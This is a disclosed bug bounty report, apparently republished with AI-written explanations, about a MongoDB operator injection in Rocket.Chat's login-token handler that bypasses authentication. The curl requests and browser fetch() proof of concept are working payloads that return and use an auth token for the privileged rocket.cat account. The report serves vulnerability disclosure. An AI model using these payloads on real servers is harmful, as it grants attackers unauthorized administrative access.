Authentication Bypass in login-token Authentication Method
The login-token authentication handler passed a user-supplied JSON object directly into a MongoDB query, allowing an attacker to use a query operator to match any user. An unauthenticated attacker could obtain a valid authentication token for the first user in the database, typically a privileged account.
- Triaged in 15 hours
- Fixed in 20 days
- Disclosed after 2.6 years
Summary
Improper input data validation in the login-token authentication method leads to an authentication bypass.
Description
Data from HTTP POST requests is forwarded to hardcoded Login Handlers, including the login-token method defined in app/token-login/server/login_token_server.js#L10.
Accounts.registerLoginHandler('login-token', function (result) {
if (!result.loginToken) {
return;
}
const user = Meteor.users.findOne({
'services.loginToken.token': result.loginToken,
});
if (user) {
Meteor.users.update({ _id: user._id }, { $unset: { 'services.loginToken': 1 } });
return {
userId: user._id,
};
}
});
The result.loginToken parameter is taken from the HTTP POST requests JSON body of the /api/v1/login route, so that Mongo DB injection returns a valid authToken for the first matching user.
$ curl -s 'http://127.0.0.1:3000/api/login' -H "Content-Type: application/json" -d '{"loginToken": { "$exists": false }}' | head
{
"status": "success",
"data": {
"userId": "rocket.cat",
"authToken": "MnTHVIRTZfRBQiFQYzWZ1xbBlL4BUwK2-3UBWTftXpB",
"me": {
"_id": "rocket.cat",
"avatarOrigin": "local",
"name": "Rocket.Cat",
"username": "rocket.cat",
Typically the first user in a Rocket.Chat MongoDB database is rocket.cat, which is a privileged account. This can be confirmed by using the returned secret in an API call to /api/v1/me:
$ curl -H "x-user-id: rocket.cat" -H "x-auth-token: MnTHVIRTZfRBQiFQYzWZ1xbBlL4BUwK2-3UBWTftXpB" http://127.0.0.1:3000/api/v1/me
{
"_id": "rocket.cat",
"avatarOrigin": "local",
"name": "Rocket.Cat",
"username": "rocket.cat",
"status": "away",
"statusDefault": "online",
"utcOffset": 1,
"active": true,
"_updatedAt": "2022-01-12T01:45:57.208Z",
"roles": [
"bot"
],
When loginToken is legitimately used an attacker would need to switch the strategy from using $empty to $regex instead.
Releases Affected:
- 4.3.1
- 3.18.3
- develop
Steps To Reproduce (from initial installation to vulnerability):
- Open Rocket.Chat (logged out)
- Open Web Inspector
- Run PoC Request
Supporting Material/References:
Proof of Concept
fetch("/api/v1/login", {
method: "POST",
body: '{"loginToken": { "$exists": false }}',
headers: {
"Content-Type": "application/json"
}
})
.then(res => res.json())
.then(({ data: { userId, authToken }}) => {
console.log(`login as ${userId}`)
Meteor._localStorage.setItem(Accounts.USER_ID_KEY, userId);
Meteor._localStorage.setItem(Accounts.LOGIN_TOKEN_KEY, authToken);
window.location.reload()
});
Suggested mitigation
- Validate
result.loginTokeninput data in loginToken auth handler.
Impact
Unauthenticated clients can bypass the login and obtain administrative access to the Rocket.Chat instance.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The login handler did not validate that the loginToken parameter was a string, so a JSON object containing MongoDB query operators was passed directly into a database query.
Impact
Unauthenticated clients can bypass the login and obtain administrative access to the Rocket.Chat instance.
What the attacker needed
None
The fix
The loginToken input should be validated before being used in the database query.
How it was found
- Open Rocket.Chat while logged out.
- Open the browser's Web Inspector.
- Send a POST request to the login API with a JSON body where loginToken is an object containing a MongoDB query operator.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The login system accepted a special object instead of a normal token string and used it directly in a database lookup. By sending a database query condition, an attacker could make the lookup return the first user account, which is often an admin. This let them log in without knowing any password.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.